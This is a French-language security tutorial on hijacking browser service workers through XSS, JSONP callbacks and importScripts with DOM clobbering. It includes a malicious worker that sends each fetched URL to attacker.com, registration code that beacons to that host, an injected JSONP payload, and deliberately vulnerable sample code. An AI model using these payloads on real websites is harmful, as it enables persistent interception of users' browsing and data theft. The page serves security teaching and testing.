Abusing Service Workers

Reading time: 5 minutes

Basic Information

Un service worker est un script exécuté par votre navigateur en arrière-plan, séparé de toute page web, permettant des fonctionnalités qui ne nécessitent pas de page web ou d'interaction utilisateur, améliorant ainsi les capacités de traitement hors ligne et en arrière-plan. Des informations détaillées sur les service workers peuvent être trouvées ici. En exploitant les service workers dans un domaine web vulnérable, les attaquants peuvent prendre le contrôle des interactions de la victime avec toutes les pages de ce domaine.

Checking for Existing Service Workers

Les service workers existants peuvent être vérifiés dans la section Service Workers de l'onglet Application dans les Developer Tools. Une autre méthode consiste à visiter chrome://serviceworker-internals pour une vue plus détaillée.

Push Notifications

Les permissions de notification push impactent directement la capacité d'un service worker à communiquer avec le serveur sans interaction directe de l'utilisateur. Si les permissions sont refusées, cela limite le potentiel du service worker à poser une menace continue. À l'inverse, accorder des permissions augmente les risques de sécurité en permettant la réception et l'exécution d'exploits potentiels.

Attack Creating a Service Worker

Pour exploiter cette vulnérabilité, vous devez trouver :

• Un moyen de télécharger des fichiers JS arbitraires sur le serveur et un XSS pour charger le service worker du fichier JS téléchargé
• Une requête JSONP vulnérable où vous pouvez manipuler la sortie (avec du code JS arbitraire) et un XSS pour charger le JSONP avec un payload qui chargera un service worker malveillant.

Dans l'exemple suivant, je vais présenter un code pour enregistrer un nouveau service worker qui écoutera l'événement fetch et enverra à l serveur des attaquants chaque URL récupérée (c'est le code que vous devez télécharger sur le serveur ou charger via une réponse JSONP vulnérable) :

self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});

Et voici le code qui va enregistrer le worker (le code que vous devriez être en mesure d'exécuter en abusant d'un XSS). Dans ce cas, une requête GET sera envoyée au serveur des attaquants notifiant si l'enregistrement du service worker a réussi ou non :

<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
.then(function(registration) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/success", true);
xhttp2.send();
}, function (err) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/error", true);
xhttp2.send();
});
});
</script>

En cas d'abus d'un point de terminaison JSONP vulnérable, vous devez mettre la valeur à l'intérieur de var sw. Par exemple :

var sw =
"/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//"

Il existe un C2 dédié à l'exploitation des Service Workers appelé Shadow Workers qui sera très utile pour abuser de ces vulnérabilités.

La directive de cache de 24 heures limite la durée de vie d'un service worker (SW) malveillant ou compromis à au maximum 24 heures après la correction d'une vulnérabilité XSS, en supposant un statut client en ligne. Pour minimiser la vulnérabilité, les opérateurs de site peuvent réduire le Temps de Vie (TTL) du script SW. Il est également conseillé aux développeurs de créer un kill-switch pour le service worker pour une désactivation rapide.

Abuser de importScripts dans un SW via DOM Clobbering

La fonction importScripts appelée depuis un Service Worker peut importer un script d'un domaine différent. Si cette fonction est appelée en utilisant un paramètre que l'attaquant pourrait modifier, il serait capable d'importer un script JS depuis son domaine et d'obtenir XSS.

Cela contourne même les protections CSP.

Exemple de code vulnérable :

• index.html

<script>
navigator.serviceWorker.register(
"/dom-invader/testcases/augmented-dom-import-scripts/sw.js" +
location.search
)
// attacker controls location.search
</script>

• sw.js

const searchParams = new URLSearchParams(location.search)
let host = searchParams.get("host")
self.importScripts(host + "/sw_extra.js")
//host can be controllable by an attacker

Avec le DOM Clobbering

Pour plus d'informations sur ce qu'est le DOM Clobbering, consultez :

Dom Clobbering

Si l'URL/domaine que le SW utilise pour appeler importScripts est à l'intérieur d'un élément HTML, il est possible de le modifier via le DOM Clobbering pour faire en sorte que le SW charge un script de votre propre domaine.

Pour un exemple de cela, consultez le lien de référence.

Références

• https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering